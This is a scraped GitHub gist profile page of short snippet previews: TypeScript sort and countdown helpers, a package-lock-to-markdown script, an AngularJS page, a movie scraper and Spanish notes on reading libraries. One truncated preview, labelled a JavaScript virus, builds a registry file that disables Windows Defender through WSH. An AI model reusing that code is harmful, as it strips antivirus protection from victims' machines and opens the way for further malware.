Skip to content

Instantly share code, notes, and snippets.

Avatar
:octocat:
Working from home

Julian David juliandavidmr

:octocat:
Working from home
View GitHub Profile
View order_any_array_by_number_attribute.ts
export function orderArrayByNumberAttribute<T>(
array: T[],
attribute: keyof T,
order: 'asc' | 'desc',
): T[] {
return array.sort((a, b) => {
const aValue = a[attribute];
const bValue = b[attribute];
if (order === 'asc') {
View virus_written_in_javascript.js
var regContent = "Windows Registry Editor Version 5.00\n\n";
regContent = regContent + "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender]\n";
regContent = regContent + "\"DisableAntiSpyware\"=dword:00000001\n\n";
var sw = WSH.CreateObject("scripting.filesystemobject");
var sh = WScript.createObject("wscript.shell");
var parth = sh.ExpandEnvironmentStrings("%temp%") + "\\ebgeaegdbdecaedfebace.reg";
if (sw.fileExists(parth)) {
sw.deleteFile(parth);
View IN_PROGRESS.md

Projects in progress

Projects that entertain me in my spare time.

  • i18n-editor
  • superconvert
    • Page: Decode base64.
    • Page: Encode base64.
    • Page: Generate random number (allow max/min values).
    • Page: Generate random UUID.
View counterdown.ts
import { Observable, timer } from "rxjs";
import { map, takeWhile, take } from "rxjs/operators";
export function countdown(minutes: number, delay: number = 0) {
return new Observable<{ display: string; minutes: number; seconds: number, finished: boolean }>(
subscriber => {
timer(delay, 1000)
.pipe(take(minutes * 60))
.pipe(map(v => minutes * 60 - 1 - v))
.pipe(takeWhile(x => x >= 0 && !subscriber.closed))
View compile.sh
emcc main.c -O3 -o index.js -s "EXTRA_EXPORTED_RUNTIME_METHODS=['ccall', 'cwrap']"
@juliandavidmr
juliandavidmr / packageLock2Markdown.js
Created Oct 29, 2019
Generate markdown file from package-lock.json
View packageLock2Markdown.js
// Run: node packageLock2Markdown.js "C:\..PATH..\package-lock.json" > out.md
const fs = require('fs');
const args = process.argv.slice(2);
let markdownOutput = '';
const contents = JSON.parse(fs.readFileSync(args[0], 'utf8'));
@juliandavidmr
juliandavidmr / packageLock2Markdown.js
Created Oct 29, 2019
Generate markdown file from package-lock.json
View packageLock2Markdown.js
// Run: node packageLock2Markdown.js "C:\..PATH..\package-lock.json" > out.md
const fs = require('fs');
const args = process.argv.slice(2);
let markdownOutput = '';
const contents = JSON.parse(fs.readFileSync(args[0], 'utf8'));
@juliandavidmr
juliandavidmr / index.html
Created Jul 10, 2019
Change $scope/model from jquery/vanilla
View index.html
<!DOCTYPE html>
<html ng-app="revalidation">
<head>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css" rel="stylesheet" data-semver="3.3.1" data-require="bootstrap@3.3.1" />
<script data-require="angular.js@1.4.3" data-semver="1.4.3" src="https://code.angularjs.org/1.4.3/angular.js"></script>
<script
src="https://code.jquery.com/jquery-3.4.1.min.js"
integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo="
crossorigin="anonymous"></script>
@juliandavidmr
juliandavidmr / cinecalidad.js
Created Feb 24, 2019
Get a list of movies from Cinecalidad
View cinecalidad.js
function getDetailsMovie(htmlString) {
var div = document.createElement('div');
div.innerHTML = htmlString.trim();
div = div.querySelectorAll('#content_inside > .post_box');
var listMovies = [];
div.forEach(element => {
var a = element.querySelector("a")
if (a) {
@juliandavidmr
juliandavidmr / pasos_para_entender_lib.md
Last active Dec 27, 2018
Pasos para entender un proyecto/librería de npm, github, gitlab, etc.
View pasos_para_entender_lib.md

Pasos para entender una librería

  • Leer la documentación general (Normalmente se encuentra en un archivo README.md o Wiki).
  • Determinar herramienta de empaquetación: Rollup, Webpack…
  • Determinar estándar usado: ES6, ES5, TypeScript…
  • Determinar archivo(s) de arranque (Normalmente se visualiza desde un principio en el package.json con la clave main).
  • Obtener listado de dependencias (package.json > dependencies) y observar su comportamiento/funcionamiento (puede observarse rapidamente en la documentación oficial de cada librería desde npm o git(hub|lab)).
  • Abrir archivo de arranque encontrado anteriormente:
    • Buscar función inicializadora, probablemente esté declarado con alguno de los siguientes nombres: boostrap, main, lib. En ES6, ES7 o Typescript se puede encontrar con la exportacion de una funcion anonima o una clase: export default function ...
    • La función inicializadora (parametros de constructuctor cuando se trata de class) puede